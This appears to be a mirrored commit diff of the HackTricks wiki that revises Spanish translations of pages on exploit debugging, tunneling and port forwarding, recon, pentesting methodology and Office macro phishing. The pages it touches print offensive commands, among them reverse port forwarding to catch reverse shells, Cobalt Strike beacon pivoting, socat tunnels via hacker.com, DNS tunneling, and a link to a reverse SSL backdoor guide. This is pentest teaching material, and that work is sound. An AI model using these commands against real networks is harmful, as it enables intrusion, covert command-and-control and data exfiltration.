mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
Translator
parent
592ebbb16a
commit
a5b0089159
@ -126,12 +126,12 @@ Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utiliza
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Pon la ruta absoluta al binario_
|
||||
- Explota el binario utilizando la misma ruta absoluta
|
||||
- Explota el binario usando la misma ruta absoluta
|
||||
- `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario
|
||||
|
||||
#### Backtrace para encontrar funciones llamadas
|
||||
|
||||
Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario.**\
|
||||
Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario**.\
|
||||
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
|
||||
```
|
||||
gef➤ bt
|
||||
@ -150,8 +150,8 @@ gef➤ bt
|
||||
### Find stack offset
|
||||
|
||||
**Ghidra** es muy útil para encontrar el **offset** para un **buffer overflow gracias a la información sobre la posición de las variables locales.**\
|
||||
Por ejemplo, en el ejemplo a continuación, un desbordamiento de buffer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\
|
||||
&#xNAN;_Remember que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
|
||||
Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\
|
||||
_Remember que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
@ -164,8 +164,8 @@ Obtener cada opcode ejecutado en el programa.
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\
|
||||
&#xNAN;**-o** --> Salida\
|
||||
&#xNAN;**-g** --> Guardar código (GDB podrá verlo)\
|
||||
**-o** --> Salida\
|
||||
**-g** --> Guardar código (GDB podrá verlo)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desactivar el ASLR en linux
|
||||
|
||||
**Para compilar un shellcode:**\
|
||||
@ -175,13 +175,13 @@ Obtener cada opcode ejecutado en el programa.
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Desensamblar** secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\
|
||||
&#xNAN;**-Mintel** --> **Sintaxis** Intel\
|
||||
&#xNAN;**-t** --> Tabla de **símbolos**\
|
||||
&#xNAN;**-D** --> **Desensamblar todo** (dirección de variable estática)\
|
||||
&#xNAN;**-s -j .dtors** --> sección dtors\
|
||||
&#xNAN;**-s -j .got** --> sección got\
|
||||
**-Mintel** --> **Sintaxis** Intel\
|
||||
**-t** --> Tabla de **símbolos**\
|
||||
**-D** --> **Desensamblar todo** (dirección de variable estática)\
|
||||
**-s -j .dtors** --> sección dtors\
|
||||
**-s -j .got** --> sección got\
|
||||
-D -s -j .plt --> sección **plt** **descompilada**\
|
||||
&#xNAN;**-TR** --> **Reubicaciones**\
|
||||
**-TR** --> **Reubicaciones**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA).
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Túneles y Reenvío de Puertos
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -55,9 +55,9 @@ Puerto local --> Host comprometido (SSH) --> Donde sea
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Reenvío de Puertos Inverso
|
||||
### Reverse Port Forwarding
|
||||
|
||||
Esto es útil para obtener shells inversos de hosts internos a través de una DMZ a tu host:
|
||||
Esto es útil para obtener shells reversos de hosts internos a través de una DMZ a tu host:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Abre un puerto en el teamserver escuchando en todas las interfaces que se pueden usar para **rutar el tráfico a través del beacon**.
|
||||
Abre un puerto en el teamserver escuchando en todas las interfaces que se puede usar para **rutar el tráfico a través del beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -145,16 +145,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> En este caso, el **puerto se abre en el host del beacon**, no en el Team Server y el tráfico se envía al Team Server y de allí al host:puerto indicado.
|
||||
> En este caso, el **puerto se abre en el host beacon**, no en el Team Server y el tráfico se envía al Team Server y de allí al host:puerto indicado.
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
Para tener en cuenta:
|
||||
|
||||
- El reenvío de puerto inverso de Beacon está diseñado para **túnel tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**.
|
||||
- La reversa de puerto de Beacon está diseñada para **túnel de tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**.
|
||||
- El tráfico está **tuneado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P.
|
||||
- **No se requieren privilegios de administrador** para crear reenvíos de puerto inverso en puertos altos.
|
||||
- **No se requieren privilegios de administrador** para crear reenvíos de puerto reverso en puertos altos.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
@ -290,6 +290,8 @@ Puedes eludir un **proxy no autenticado** ejecutando esta línea en lugar de la
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### Túnel SSL Socat
|
||||
|
||||
**/bin/sh consola**
|
||||
@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Necesitas tener **acceso RDP sobre el sistema**.\
|
||||
Descargar:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túnel de paquetes sobre la conexión RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túneles de paquetes sobre la conexión RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así:
|
||||
@ -352,9 +354,9 @@ En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así:
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**.
|
||||
Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y que **escuchará** en **127.0.0.1:1080**.
|
||||
|
||||
**Conéctate** a través de **RDP** y sube y ejecuta en la máquina de la víctima el binario `SocksOverRDP-Server.exe`:
|
||||
**Conéctese** a través de **RDP** y suba y ejecute en la máquina de la víctima el binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -403,7 +405,7 @@ Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y túnel datos entre ellos utilizando consultas DNS.
|
||||
Se necesita root en ambos sistemas para crear adaptadores tun y túnel de datos entre ellos utilizando consultas DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -478,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **es una herramienta para exponer soluciones a Internet en una línea de comando.**\
|
||||
&#xNAN;_Exposition URI son como:_ **UID.ngrok.io**
|
||||
_Exposition URI son como:_ **UID.ngrok.io**
|
||||
|
||||
### Instalación
|
||||
|
||||
@ -511,7 +513,7 @@ _También es posible agregar autenticación y TLS, si es necesario._
|
||||
```
|
||||
#### Sniffing HTTP calls
|
||||
|
||||
_Uso útil para XSS, SSRF, SSTI ..._\
|
||||
_Util útil para XSS, SSRF, SSTI ..._\
|
||||
Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunneling internal HTTP service
|
||||
|
||||
@ -58,7 +58,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
|
||||
|
||||
En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
||||
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Dominios
|
||||
|
||||
@ -70,7 +70,7 @@ Primero que nada, deberías buscar el(los) **dominio(s) principal(es)** de cada
|
||||
|
||||
### **DNS inverso**
|
||||
|
||||
Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de dns inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor dns de la víctima o algún servidor dns bien conocido (1.1.1.1, 8.8.8.8)
|
||||
Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -113,7 +113,7 @@ Hay algunas páginas y herramientas que te permiten buscar por estos trackers y
|
||||
|
||||
### **Favicon**
|
||||
|
||||
¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla:
|
||||
¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hecha por [@m4ll0k2](https://twitter.com/m4ll0k2) hace. Aquí te explicamos cómo usarla:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo.
|
||||
|
||||
Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**este artículo del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
|
||||
Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -150,7 +150,7 @@ Es común tener un trabajo cron como
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
|
||||
para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Información de Mail DMARC
|
||||
@ -159,11 +159,11 @@ Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live
|
||||
|
||||
### **Toma Pasiva**
|
||||
|
||||
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
|
||||
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
|
||||
|
||||
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
|
||||
|
||||
### **Otras formas**
|
||||
### **Otras maneras**
|
||||
|
||||
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
|
||||
|
||||
@ -182,7 +182,7 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
|
||||
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
|
||||
|
||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
&#xNAN;_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
|
||||
## Subdominios
|
||||
|
||||
@ -258,7 +258,7 @@ Hay **otras herramientas/APIs interesantes** que, aunque no están directamente
|
||||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
- [**API gratuita de JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
@ -341,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo utiliza 1 resolvedor
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -365,7 +365,7 @@ Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza br
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones.
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dadas las dominios y subdominios, genera permutaciones.
|
||||
- Puedes obtener las permutaciones de goaltdns **wordlist** en [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
@ -438,7 +438,7 @@ VHostScan -t example.com
|
||||
> [!NOTE]
|
||||
> Con esta técnica, incluso podrías acceder a endpoints internos/ocultos.
|
||||
|
||||
### **CORS Brute Force**
|
||||
### **CORS Fuerza Bruta**
|
||||
|
||||
A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**.
|
||||
```bash
|
||||
@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
```
|
||||
### **Fuerza Bruta de Buckets**
|
||||
|
||||
Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **Monitorización**
|
||||
|
||||
@ -459,14 +459,14 @@ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/dom
|
||||
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
&#xNAN;_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
|
||||
## IPs
|
||||
|
||||
En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
|
||||
Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
|
||||
|
||||
Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -486,8 +486,8 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento
|
||||
|
||||
Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
|
||||
|
||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
|
||||
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
|
||||
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
@ -605,12 +605,12 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
|
||||
Así que ya has:
|
||||
|
||||
1. Encontrado todas las **empresas** dentro del alcance
|
||||
2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
|
||||
3. Encontrado todos los **dominios** que pertenecen a las empresas
|
||||
2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
|
||||
3. Encontrado todos los **dominios** pertenecientes a las empresas
|
||||
4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
|
||||
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
|
||||
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?)
|
||||
7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
|
||||
7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
|
||||
8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
|
||||
9. **Pentesting todas las webs que encontraste**
|
||||
|
||||
|
||||
@ -60,7 +60,7 @@ Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes
|
||||
|
||||
De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/index.html).
|
||||
|
||||
Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**
|
||||
|
||||
### 8- Dentro
|
||||
|
||||
@ -103,7 +103,7 @@ Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](https
|
||||
#### 11.2 - Persistencia
|
||||
|
||||
**Usa 2 o 3 tipos diferentes de mecanismos de persistencia para que no necesites explotar el sistema nuevamente.**\
|
||||
**Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
**Aquí puedes encontrar algunos** [**trucos de persistencia en Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
|
||||
TODO: Completar persistencia Post en Windows y Linux
|
||||
|
||||
@ -112,7 +112,7 @@ TODO: Completar persistencia Post en Windows y Linux
|
||||
Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting nuevamente) dentro de nuevas redes donde tu víctima está conectada.\
|
||||
En este caso, el tunneling podría ser necesario. Aquí puedes encontrar [**un post que habla sobre tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
|
||||
Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/index.html). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\
|
||||
Consulta también la página sobre [**NTLM**](../windows-hardening/ntlm/index.html), podría ser muy útil para pivotar en entornos de Windows.
|
||||
Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/index.html), podría ser muy útil para pivotar en entornos de Windows.
|
||||
|
||||
### MÁS
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Microsoft Word realiza la validación de datos del archivo antes de abrirlo. La validación de datos se lleva a cabo en forma de identificación de la estructura de datos, de acuerdo con el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
|
||||
|
||||
Por lo general, los archivos de Word que contienen macros utilizan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión del archivo y aún así mantener sus capacidades de ejecución de macros.\
|
||||
Por lo general, los archivos de Word que contienen macros utilizan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún así mantener sus capacidades de ejecución de macros.\
|
||||
Por ejemplo, un archivo RTF no admite macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
|
||||
Los mismos internos y mecanismos se aplican a todo el software de la Suite de Microsoft Office (Excel, PowerPoint, etc.).
|
||||
|
||||
@ -14,12 +14,12 @@ Puedes usar el siguiente comando para verificar qué extensiones se van a ejecut
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX archivos que hacen referencia a una plantilla remota (Archivo – Opciones – Complementos – Administrar: Plantillas – Ir) que incluye macros pueden “ejecutar” macros también.
|
||||
DOCX files que hacen referencia a una plantilla remota (Archivo – Opciones – Complementos – Administrar: Plantillas – Ir) que incluye macros pueden “ejecutar” macros también.
|
||||
|
||||
### Carga de Imagen Externa
|
||||
|
||||
Ir a: _Insertar --> Partes Rápidas --> Campo_\
|
||||
&#xNAN;_**Categorías**: Enlaces y Referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://\<ip>/whatever
|
||||
_**Categorías**: Enlaces y Referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://\<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -27,7 +27,7 @@ Ir a: _Insertar --> Partes Rápidas --> Campo_\
|
||||
|
||||
